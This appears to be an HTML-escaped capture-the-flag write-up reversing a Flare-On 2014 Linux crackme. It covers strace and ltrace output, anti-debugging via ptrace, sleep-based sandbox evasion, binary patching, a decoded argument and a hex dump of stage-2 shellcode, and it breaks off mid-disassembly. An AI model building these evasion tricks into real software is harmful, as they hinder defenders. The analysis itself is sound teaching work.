.
.
.
xdg-open
GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
.shstrtab
.note.ABI-tag
.note.gnu.build-id
.rela.plt
.init
.text
__libc_freeres_fn
__libc_thread_freeres_fn
.fini
.rodata
__libc_atexit
__libc_subfreeres
__libc_thread_subfreeres
.eh_frame
.gcc_except_table
.tdata
.tbss
.init_array
.fini_array
.ctors
.dtors
.jcr
.data.rel.ro
.got
.got.plt
.data
.bss
__libc_freeres_ptrs
.comment


+------------------------------------+
| FLOSS STATIC STRINGS: UTF-16LE (0) |
+------------------------------------+



 ───────────────────────── 
  FLOSS STACK STRINGS (0)  
 ───────────────────────── 



 ───────────────────────── 
  FLOSS TIGHT STRINGS (0)  
 ───────────────────────── 



 ─────────────────────────── 
  FLOSS DECODED STRINGS (0)  
 ─────────────────────────── 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Now we we jump into some disassembly stuff&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Basic Dynamic Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ltrace&lt;/code&gt; traces &lt;strong&gt;library function calls&lt;/strong&gt;, like
&lt;ul&gt;
&lt;li&gt;printf&lt;/li&gt;
&lt;li&gt;strcmp&lt;/li&gt;
&lt;li&gt;malloc&lt;/li&gt;
&lt;li&gt;fopen&lt;/li&gt;
&lt;li&gt;puts&lt;/li&gt;
&lt;li&gt;exit etc..&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297
Couldn&apos;t find .dynsym or .dynstr in &quot;/proc/2152/exe&quot;
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ no

remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297 arg1
Couldn&apos;t find .dynsym or .dynstr in &quot;/proc/2154/exe&quot;
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ na

remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297 arg1 agr2
Couldn&apos;t find .dynsym or .dynstr in &quot;/proc/2156/exe&quot;
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ bad

remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297 arg1 agr2 arg3
Couldn&apos;t find .dynsym or .dynstr in &quot;/proc/2160/exe&quot;
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ stahp
ltrace ./e7bc5d2c0cf4480348f5504196561297 arg1 agr2 arg3 agr4
Couldn&apos;t find .dynsym or .dynstr in &quot;/proc/2162/exe&quot;
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ stahp
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;strace&lt;/code&gt; shows how a program talks to the Linux kernel.&lt;/li&gt;
&lt;li&gt;The binary initializes normally, performs minimal environment setup, does not receive required arguments, immediately fails its internal validation logic, prints &lt;code&gt;&quot;no&quot;&lt;/code&gt;, and exits with a fixed failure code.&lt;/li&gt;
&lt;li&gt;No user-controlled input is processed at all meaning the program expects &lt;strong&gt;specific arguments&lt;/strong&gt;, and if they are not present or not correct, it terminates instantly.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;remnux@remnux:~/Documents/Flare-on/2014/Chall5$ strace ./e7bc5d2c0cf4480348f5504196561297
execve(&quot;./e7bc5d2c0cf4480348f5504196561297&quot;, [&quot;./e7bc5d2c0cf4480348f55041965612&quot;...], 0x7ffd6d797520 /* 49 vars */) = 0
uname({sysname=&quot;Linux&quot;, nodename=&quot;remnux&quot;, ...}) = 0
brk(NULL)                               = 0x3fde1000
brk(0x3fde21c0)                         = 0x3fde21c0
arch_prctl(ARCH_SET_FS, 0x3fde1880)     = 0
brk(0x3fe031c0)                         = 0x3fe031c0
brk(0x3fe04000)                         = 0x3fe04000
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f74a9d75000
write(1, &quot;no\n&quot;, 3no
)                     = 3
exit_group(52)                          = ?
+++ exited with 52 +++
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# Running Strace with 2 arguments
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ strace ./e7bc5d2c0cf4480348f5504196561297 arg1 arg2
execve(&quot;./e7bc5d2c0cf4480348f5504196561297&quot;, [&quot;./e7bc5d2c0cf4480348f55041965612&quot;..., &quot;arg1&quot;, &quot;arg2&quot;], 0x7ffdb7a46ad0 /* 49 vars */) = 0
uname({sysname=&quot;Linux&quot;, nodename=&quot;remnux&quot;, ...}) = 0
brk(NULL)                               = 0x7018000
brk(0x70191c0)                          = 0x70191c0
arch_prctl(ARCH_SET_FS, 0x7018880)      = 0
brk(0x703a1c0)                          = 0x703a1c0
brk(0x703b000)                          = 0x703b000
ptrace(PTRACE_TRACEME)                  = -1 EPERM (Operation not permitted)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb585c32000
write(1, &quot;Program received signal SIGSEGV,&quot;..., 52Program received signal SIGSEGV, Segmentation fault
) = 52
exit_group(9001)                        = ?
+++ exited with 41 +++
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This is simplest anti-debugging technique in Linux, simply,
&lt;ul&gt;
&lt;li&gt;https://reverseengineering.stackexchange.com/questions/1930/detecting-tracing-in-linux/1931#1931&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Here is the linux &lt;code&gt;syscall&lt;/code&gt; table, https://web.archive.org/web/20201218060355/http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;if (ptrac(PTRACE_TRACEME, 0, 1, 0) == -1) BeingDebugged = true;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Advance Static Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Here is the reference of &lt;code&gt;sys_ptrace&lt;/code&gt; in &lt;code&gt;sub_4742B0&lt;/code&gt; function, so rename with &lt;code&gt;mw_syscall_anti_debug_ptrace&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;ptrace&lt;/code&gt; system call (&lt;code&gt;sys_ptrace&lt;/code&gt;) in Linux is used by a tracer process to monitor and control a trace process, generally returning &lt;code&gt;0&lt;/code&gt; on success or &lt;code&gt;-1&lt;/code&gt; on error.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260201142232.png&quot; alt=&quot;Pasted image 20260201142232.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;this &lt;code&gt;mw_anti_debug_ptrace&lt;/code&gt; is referenced in another function which is checking the return value and if it is -1 which means failed then it will crash and return &lt;code&gt;Segmentation Fault&lt;/code&gt; so we have to patch that by replacing &lt;code&gt;74 (jz)&lt;/code&gt; conditional jump with  &lt;code&gt;EB (jmp)&lt;/code&gt; unconditional jump.&lt;/li&gt;
&lt;li&gt;I used this as reference,
&lt;ul&gt;
&lt;li&gt;https://c9x.me/x86/html/file_module_x86_id_147.html&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260201144857.png&quot; alt=&quot;Pasted image 20260201144857.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    if ( (mw_anti_debug_ptrace(0, 0, 1u, 0) &amp;amp; 0x8000000000000000LL) != 0LL )
    {
      sub_45EBE0((__int64)&quot;Program received signal SIGSEGV, Segmentation fault&quot;);
      sub_45E790(9001);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Patch 1: ptrace patching&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;So to patch that&lt;/li&gt;
&lt;li&gt;I need to first get opcodes to identify the hex sequence so to do that i used ida&apos;s patch feature and get the sequence of opcodes,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;74 14 BF 50 3B 4F 00 E8 B8 F9 03 00 BF 29 23 00
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260201150209.png&quot; alt=&quot;Pasted image 20260201150209.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I can use HxD, to change &lt;code&gt;74&lt;/code&gt; to &lt;code&gt;EB&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260201150931.png&quot; alt=&quot;Pasted image 20260201150931.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After that, i open it in ida and as you can see that it is taking unconditional jump with any condition so the patch worked perfectly.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260201151221.png&quot; alt=&quot;Pasted image 20260201151221.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now this command no longer given seg fault,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ strace -i ./e7bc5d2c0cf4480348f5504196561297.patched arg1 arg2

[00007add30ede557] execve(&quot;./e7bc5d2c0cf4480348f5504196561297.patched&quot;, [&quot;./e7bc5d2c0cf4480348f55041965612&quot;..., &quot;arg1&quot;, &quot;arg2&quot;], 0x7fff3abb55b8 /* 35 vars */) = 0
[00000000004a9297] uname({sysname=&quot;Linux&quot;, nodename=&quot;DESKTOP-VRSQRAJ&quot;, ...}) = 0
[00000000004aa78a] brk(NULL)            = 0x27391000
[00000000004aa78a] brk(0x273921c0)      = 0x273921c0
[000000000045e3f5] arch_prctl(ARCH_SET_FS, 0x27391880) = 0
[00000000004aa78a] brk(0x273b31c0)      = 0x273b31c0
[00000000004aa78a] brk(0x273b4000)      = 0x273b4000
[000000000047431b] ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)
[0000000000473e44] fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0
[000000000047509a] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x778d0840d000
[0000000000473f50] write(1, &quot;bad\n&quot;, 4bad
) = 4
[0000000000473dd8] exit_group(420)      = ?
[????????????????] +++ exited with 164 +++
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Now lets analyze the &lt;code&gt;sub_435E20&lt;/code&gt; which has &lt;code&gt;bad&lt;/code&gt; string so i renamed it as &lt;code&gt;mw_bad_str&lt;/code&gt; and by doing some digging i can see that it is checking that argument length is 10 or not.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260201152007.png&quot; alt=&quot;Pasted image 20260201152007.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;By analyzing further we understand that the string &quot;bngcg`debd&quot; is XOR&apos;ed with &lt;code&gt;0x56&lt;/code&gt; to obtain the value of the 1st argument.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260201153736.png&quot; alt=&quot;Pasted image 20260201153736.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;By doing XOR i get this value &lt;code&gt;4815162342&lt;/code&gt;, which is exactly 10 digit long so i passed this as argument in patched program,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260201152747.png&quot; alt=&quot;Pasted image 20260201152747.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We can see a &lt;code&gt;nanosleep&lt;/code&gt; at offset &lt;code&gt;0x473d50&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~/]
└─$ strace -i ./e7bc5d2c0cf4480348f5504196561297.patched 4815162342 arg2

[00007f2fa72de557] execve(&quot;./e7bc5d2c0cf4480348f5504196561297.patched&quot;, [&quot;./e7bc5d2c0cf4480348f55041965612&quot;..., &quot;4815162342&quot;, &quot;arg2&quot;], 0x7ffcc1afea98 /* 35 vars */) = 0
[00000000004a9297] uname({sysname=&quot;Linux&quot;, nodename=&quot;DESKTOP-VRSQRAJ&quot;, ...}) = 0
[00000000004aa78a] brk(NULL)            = 0x2c36a000
[00000000004aa78a] brk(0x2c36b1c0)      = 0x2c36b1c0
[000000000045e3f5] arch_prctl(ARCH_SET_FS, 0x2c36a880) = 0
[00000000004aa78a] brk(0x2c38c1c0)      = 0x2c38c1c0
[00000000004aa78a] brk(0x2c38d000)      = 0x2c38d000
[000000000047431b] ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[0000000000473d50] nanosleep({tv_sec=3600, tv_nsec=0}, ^C{tv_sec=3581, tv_nsec=387430080}) = ? ERESTART_RESTARTBLOCK (Interrupted by signal)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;nanosleep(3600 seconds);&lt;/code&gt; which is 1 hour,&lt;/li&gt;
&lt;li&gt;it is used for
&lt;ul&gt;
&lt;li&gt;Waste analyst time&lt;/li&gt;
&lt;li&gt;Beat sandbox timeouts&lt;/li&gt;
&lt;li&gt;Make sample look &quot;hung&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;At this &lt;code&gt;0x473d50&lt;/code&gt; offset it it doing syscall to &lt;code&gt;nanosleep&lt;/code&gt;, and the function is &lt;code&gt;sub_473D40&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;In &lt;a href=&quot;https://www.aldeid.com/wiki/IDA-Pro&quot;&gt;IDA Pro&lt;/a&gt;, we confirm 0x63 (35) is moved to EAX and syscall is then called.&lt;/li&gt;
&lt;li&gt;Still referring to the &lt;a href=&quot;https://filippo.io/linux-syscall-table/&quot;&gt;syscall table&lt;/a&gt;, we confirm it corresponds to &lt;code&gt;nanosleep&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;https://man7.org/linux/man-pages/man2/nanosleep.2.html&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260201153733.png&quot; alt=&quot;Pasted image 20260201153733.png&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Patch 2: nanosleep patch&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;We can see that &lt;code&gt;nanosleep&lt;/code&gt; is called 2 times in the function.&lt;/li&gt;
&lt;li&gt;Let&apos;s patch the code by replacing syscall with NOP&apos;s, as follows:
&lt;ul&gt;
&lt;li&gt;So same as previously we grep the hex stream which is this,&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;B8 23 00 00 00 0F 05
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260201153735.png&quot; alt=&quot;Pasted image 20260201153735.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Using HxD we will patch that,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260201155658.png&quot; alt=&quot;Pasted image 20260201155658.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After that i checked the &lt;code&gt;diff&lt;/code&gt; both and here is what i got,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt; e7bc5d2c0cf4480348f5504196561297.patched2:     file format elf64-x86-64
---
&amp;gt; e7bc5d2c0cf4480348f5504196561297.patched2.bak:     file format elf64-x86-64
122582,122588c122582,122583
&amp;lt;   473d49:     90                      nop
&amp;lt;   473d4a:     90                      nop
&amp;lt;   473d4b:     90                      nop
&amp;lt;   473d4c:     90                      nop
&amp;lt;   473d4d:     90                      nop
&amp;lt;   473d4e:     90                      nop
&amp;lt;   473d4f:     90                      nop
---
&amp;gt;   473d49:     b8 23 00 00 00          mov    eax,0x23
&amp;gt;   473d4e:     0f 05                   syscall
122595,122601c122590,122591
&amp;lt;   473d6a:     90                      nop
&amp;lt;   473d6b:     90                      nop
&amp;lt;   473d6c:     90                      nop
&amp;lt;   473d6d:     90                      nop
&amp;lt;   473d6e:     90                      nop
&amp;lt;   473d6f:     90                      nop
&amp;lt;   473d70:     90                      nop
---
&amp;gt;   473d6a:     b8 23 00 00 00          mov    eax,0x23
&amp;gt;   473d6f:     0f 05                   syscall
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Now we know that this first argument but what about second argument,&lt;/li&gt;
&lt;li&gt;So i dig little and found that some bytes are being encoded using base64.&lt;/li&gt;
&lt;li&gt;I got into the habit of copying the base64 bytes and setting up breakpoints every once in a while to get back to a checkpoint after each crash.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sub_401164&lt;/code&gt; function decodes the bytes from base64.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202001050.png&quot; alt=&quot;Pasted image 20260202001050.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260202001508.png&quot; alt=&quot;Pasted image 20260202001508.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After some analysis i found that those bytes are shellcode,&lt;/li&gt;
&lt;li&gt;This is the flow of shellcode function,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;entry -&amp;gt; 
sub_452079 -&amp;gt; 
    sub_44D525 -&amp;gt; 
        sub_44BE43 -&amp;gt; 
            sub_44B942 (Decompile_problem) -&amp;gt; mw_base64_decode
                                           -&amp;gt; mw_shellcode_sus

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Advance Dynamic Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;I used &lt;code&gt;edb&lt;/code&gt; tool for dynamic debugging for elf,&lt;/li&gt;
&lt;li&gt;So i go to that &lt;code&gt;0x44bb2b&lt;/code&gt; location and i found that it is calling, as discussed previously,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;00000000:0044bb2b ff d2    call rdx
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;So we can dump it by doing follow in dump of &lt;code&gt;rdx&lt;/code&gt; and we get the shellcode,&lt;/li&gt;
&lt;li&gt;I carve the shellcode and remove some unnecessary bytes,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260201234708.png&quot; alt=&quot;Pasted image 20260201234708.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I step into the function and see where shellcode ends and it is ending on this last operation, so up till this i kept and remove remaining bytes,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;0x00007ffd6741cc8c: 80 38 D7 cmp byte ptr [eax], 0xd7
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Stage 2 Shellcode Analysis&lt;/h2&gt;
&lt;h3&gt;Initial Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;File Type: shellcode.bin: data&lt;/li&gt;
&lt;li&gt;Size: 607 bytes&lt;/li&gt;
&lt;li&gt;SHA256: 85b70829d62ab78429754247036a540afdb3548608cef9bbde53bef1f6ccd8c5&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Basic Static Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;I checked VT for this hash, but it gives no results,&lt;/li&gt;
&lt;li&gt;So i upload it and check whether it gives something, but nothing&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260201233759.png&quot; alt=&quot;Pasted image 20260201233759.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260201233920.png&quot; alt=&quot;Pasted image 20260201233920.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Advance Static Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;This is 2nd stage shellcode carved from 1st stage elf,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;48 89 f8 e8 00 00 00 00 48 8b 1c 24 48 83 c3 0a eb 0a 48 31 d2 48 31 c0 b0 3c 0f 05 c0 08 f2 80 38 1b 74 02 ff e3 48 83 c0 01 80 30 40 80 30 f2 80 30 b3 80 38 30 74 02 ff e3 48 83 c0 01 80 30 71 80 38 1f 74 02 ff e3 48 83 c0 01 80 00 a3 c0 08 bc 80 38 b0 74 02 ff e3 48 83 c0 01 80 28 79 80 38 e8 74 02 ff e3 48 83 c0 01 c0 08 82 80 28 28 80 38 f6 74 02 ff e3 48 83 c0 01 80 28 b0 c0 08 4d 80 00 2c 80 38 1f 74 02 ff e3 48 83 c0 01 80 00 54 c0 00 99 80 30 b8 c0 08 2a 80 00 3f 80 38 af 74 02 ff e3 48 83 c0 01 c0 08 ba 80 38 5d 74 02 ff e3 48 83 c0 01 80 30 ed c0 08 6c 80 00 30 80 38 29 74 02 ff e3 48 83 c0 01 80 28 bf 80 38 b5 74 02 ff e3 48 83 c0 01 c0 00 bc 80 00 8c c0 00 7b 80 28 31 80 00 63 80 38 a5 74 02 ff e3 48 83 c0 01 c0 00 20 c0 00 16 80 30 ae c0 00 98 80 38 f3 74 02 ff e3 48 83 c0 01 c0 08 6e 80 00 d2 80 38 a6 74 02 ff e3 48 83 c0 01 80 00 34 80 38 62 74 02 ff e3 48 83 c0 01 80 00 cd 80 28 10 80 00 62 80 30 b2 80 38 32 74 02 ff e3 48 83 c0 01 80 30 b7 80 30 73 c0 08 07 80 38 eb 74 02 ff e3 48 83 c0 01 80 00 34 80 28 61 c0 08 36 80 00 5b 80 28 4c 80 38 0b 74 02 ff e3 48 83 c0 01 80 00 5a 80 38 9a 74 02 ff e3 48 83 c0 01 c0 08 a2 80 38 99 74 02 ff e3 48 83 c0 01 80 30 7e 80 28 e7 80 38 2b 74 02 ff e3 48 83 c0 01 80 28 b8 80 30 86 80 00 4e c0 08 4a c0 00 57 80 38 af 74 02 ff e3 48 83 c0 01 c0 08 86 80 30 e8 c0 00 95 80 30 4a 80 30 ad 80 38 c3 74 02 ff e3 48 83 c0 01 c0 08 45 80 30 cc 80 00 1c 80 38 03 74 02 ff e3 48 83 c0 01 80 28 4a 80 38 e3 74 02 ff e3 48 83 c0 01 80 30 a5 c0 08 90 80 38 ca 74 02 ff e3 48 83 c0 01 c0 08 de c0 00 36 80 30 78 80 28 d8 80 38 3e 74 02 ff e3 48 83 c0 01 80 00 b5 80 28 ad c0 08 89 c0 00 a2 c0 00 11 80 38 d8 74 02 ff e3 48 83 c0 01 80 00 40 80 28 21 c0 08 c0 80 38 82 74 02 ff e3 48 83 c0 01 c0 00 e3 80 38 7b 74 02 ff e3 48 83 c0 01 80 28 78 c0 08 f6 80 38 d7
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;And this is actual disassembled assembly,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;0x0000000000000000:  48                dec     eax
0x0000000000000001:  89 F8             mov     eax, edi
0x0000000000000003:  E8 00 00 00 00    call    8
0x0000000000000008:  48                dec     eax
0x0000000000000009:  8B 1C 24          mov     ebx, dword ptr [esp]
0x000000000000000c:  48                dec     eax
0x000000000000000d:  83 C3 0A          add     ebx, 0xa
0x0000000000000010:  EB 0A             jmp     0x1c
0x0000000000000012:  48                dec     eax
0x0000000000000013:  31 D2             xor     edx, edx
0x0000000000000015:  48                dec     eax
0x0000000000000016:  31 C0             xor     eax, eax
0x0000000000000018:  B0 3C             mov     al, 0x3c
0x000000000000001a:  0F 05             syscall 
0x000000000000001c:  C0 08 F2          ror     byte ptr [eax], 0xf2
0x000000000000001f:  80 38 1B          cmp     byte ptr [eax], 0x1b
0x0000000000000022:  74 02             je      0x26
0x0000000000000024:  FF E3             jmp     ebx
0x0000000000000026:  48                dec     eax
0x0000000000000027:  83 C0 01          add     eax, 1
0x000000000000002a:  80 30 40          xor     byte ptr [eax], 0x40
0x000000000000002d:  80 30 F2          xor     byte ptr [eax], 0xf2
0x0000000000000030:  80 30 B3          xor     byte ptr [eax], 0xb3
0x0000000000000033:  80 38 30          cmp     byte ptr [eax], 0x30
0x0000000000000036:  74 02             je      0x3a
0x0000000000000038:  FF E3             jmp     ebx
0x000000000000003a:  48                dec     eax
0x000000000000003b:  83 C0 01          add     eax, 1
0x000000000000003e:  80 30 71          xor     byte ptr [eax], 0x71
0x0000000000000041:  80 38 1F          cmp     byte ptr [eax], 0x1f
0x0000000000000044:  74 02             je      0x48
0x0000000000000046:  FF E3             jmp     ebx
0x0000000000000048:  48                dec     eax
0x0000000000000049:  83 C0 01          add     eax, 1
0x000000000000004c:  80 00 A3          add     byte ptr [eax], 0xa3
0x000000000000004f:  C0 08 BC          ror     byte ptr [eax], 0xbc
0x0000000000000052:  80 38 B0          cmp     byte ptr [eax], 0xb0
0x0000000000000055:  74 02             je      0x59
0x0000000000000057:  FF E3             jmp     ebx
0x0000000000000059:  48                dec     eax
0x000000000000005a:  83 C0 01          add     eax, 1
0x000000000000005d:  80 28 79          sub     byte ptr [eax], 0x79
0x0000000000000060:  80 38 E8          cmp     byte ptr [eax], 0xe8
0x0000000000000063:  74 02             je      0x67
0x0000000000000065:  FF E3             jmp     ebx
0x0000000000000067:  48                dec     eax
0x0000000000000068:  83 C0 01          add     eax, 1
0x000000000000006b:  C0 08 82          ror     byte ptr [eax], 0x82
0x000000000000006e:  80 28 28          sub     byte ptr [eax], 0x28
0x0000000000000071:  80 38 F6          cmp     byte ptr [eax], 0xf6
0x0000000000000074:  74 02             je      0x78
0x0000000000000076:  FF E3             jmp     ebx
0x0000000000000078:  48                dec     eax
0x0000000000000079:  83 C0 01          add     eax, 1
0x000000000000007c:  80 28 B0          sub     byte ptr [eax], 0xb0
0x000000000000007f:  C0 08 4D          ror     byte ptr [eax], 0x4d
0x0000000000000082:  80 00 2C          add     byte ptr [eax], 0x2c
0x0000000000000085:  80 38 1F          cmp     byte ptr [eax], 0x1f
0x0000000000000088:  74 02             je      0x8c
0x000000000000008a:  FF E3             jmp     ebx
0x000000000000008c:  48                dec     eax
0x000000000000008d:  83 C0 01          add     eax, 1
0x0000000000000090:  80 00 54          add     byte ptr [eax], 0x54
0x0000000000000093:  C0 00 99          rol     byte ptr [eax], 0x99
0x0000000000000096:  80 30 B8          xor     byte ptr [eax], 0xb8
0x0000000000000099:  C0 08 2A          ror     byte ptr [eax], 0x2a
0x000000000000009c:  80 00 3F          add     byte ptr [eax], 0x3f
0x000000000000009f:  80 38 AF          cmp     byte ptr [eax], 0xaf
0x00000000000000a2:  74 02             je      0xa6
0x00000000000000a4:  FF E3             jmp     ebx
0x00000000000000a6:  48                dec     eax
0x00000000000000a7:  83 C0 01          add     eax, 1
0x00000000000000aa:  C0 08 BA          ror     byte ptr [eax], 0xba
0x00000000000000ad:  80 38 5D          cmp     byte ptr [eax], 0x5d
0x00000000000000b0:  74 02             je      0xb4
0x00000000000000b2:  FF E3             jmp     ebx
0x00000000000000b4:  48                dec     eax
0x00000000000000b5:  83 C0 01          add     eax, 1
0x00000000000000b8:  80 30 ED          xor     byte ptr [eax], 0xed
0x00000000000000bb:  C0 08 6C          ror     byte ptr [eax], 0x6c
0x00000000000000be:  80 00 30          add     byte ptr [eax], 0x30
0x00000000000000c1:  80 38 29          cmp     byte ptr [eax], 0x29
0x00000000000000c4:  74 02             je      0xc8
0x00000000000000c6:  FF E3             jmp     ebx
0x00000000000000c8:  48                dec     eax
0x00000000000000c9:  83 C0 01          add     eax, 1
0x00000000000000cc:  80 28 BF          sub     byte ptr [eax], 0xbf
0x00000000000000cf:  80 38 B5          cmp     byte ptr [eax], 0xb5
0x00000000000000d2:  74 02             je      0xd6
0x00000000000000d4:  FF E3             jmp     ebx
0x00000000000000d6:  48                dec     eax
0x00000000000000d7:  83 C0 01          add     eax, 1
0x00000000000000da:  C0 00 BC          rol     byte ptr [eax], 0xbc
0x00000000000000dd:  80 00 8C          add     byte ptr [eax], 0x8c
0x00000000000000e0:  C0 00 7B          rol     byte ptr [eax], 0x7b
0x00000000000000e3:  80 28 31          sub     byte ptr [eax], 0x31
0x00000000000000e6:  80 00 63          add     byte ptr [eax], 0x63
0x00000000000000e9:  80 38 A5          cmp     byte ptr [eax], 0xa5
0x00000000000000ec:  74 02             je      0xf0
0x00000000000000ee:  FF E3             jmp     ebx
